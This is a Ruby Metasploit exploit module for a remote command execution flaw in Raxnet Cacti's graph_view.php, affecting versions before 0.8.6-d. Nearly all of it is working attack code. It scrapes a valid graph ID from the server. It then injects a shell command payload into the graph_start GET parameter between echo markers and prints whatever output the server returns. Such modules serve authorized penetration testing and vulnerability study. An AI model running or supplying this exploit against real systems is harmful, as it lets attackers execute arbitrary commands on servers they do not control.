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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Cacti graph_view.php Remote Command Execution',
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      'Description'    => %q{
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          This module exploits an arbitrary command execution vulnerability in the
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        Raxnet Cacti 'graph_view.php' script. All versions of Raxnet Cacti prior to
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        0.8.6-d are vulnerable.
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      },
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      'Author'         => [ 'David Maciejak <david.maciejak[at]kyxar.fr>', 'hdm' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'OSVDB', '17539' ],
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          [ 'BID', '14042' ],
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        ],
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      'Privileged'     => false,
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      'Payload'        =>
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        {
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          'DisableNops' => true,
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          'Space'       => 512,
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd',
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              'RequiredCmd' => 'generic perl ruby python telnet',
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            }
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        },
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      'Platform'       => 'unix',
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      'Arch'           => ARCH_CMD,
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      'Targets'        => [[ 'Automatic', { }]],
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      'DisclosureDate' => '2005-01-15',
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      'DefaultTarget' => 0))
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    register_options(
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      [
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        OptString.new('URI', [true, "The full URI path to graph_view.php", "/cacti/graph_view.php"]),
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      ])
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  end
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  def exploit
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    # Obtain a valid image ID
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    res = send_request_cgi({
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      'uri'      => normalize_uri(datastore['URI']),
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      'vars_get' =>
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        {
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          'action' => 'list'
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        }
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      }, 10)
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    if (not res)
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      print_error("The server gave no response")
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      return
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    end
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    m = res.body.match(/local_graph_id=(.*?)&/)
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    if (not m)
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      print_error("Could not locate a valid image ID")
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      return
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    end
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    # Trigger the command execution bug
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    res = send_request_cgi({
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      'uri'      => normalize_uri(datastore['URI']),
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      'vars_get' =>
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        {
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          'local_graph_id' => m[1],
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          'graph_start'    => "\necho YYY;#{payload.encoded};echo YYY;echo\n"
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        }
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      }, 25)
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    if (res)
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      print_status("The server returned: #{res.code} #{res.message}")
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      print("")
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      m = res.body.match(/YYY(.*)YYY/)
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      if (m)
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        print_status("Command output from the server:")
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        print(m[1])
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      else
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        print_status("This server may not be vulnerable")
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      end
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    else
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      print_status("No response from the server")
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    end
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  end
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end
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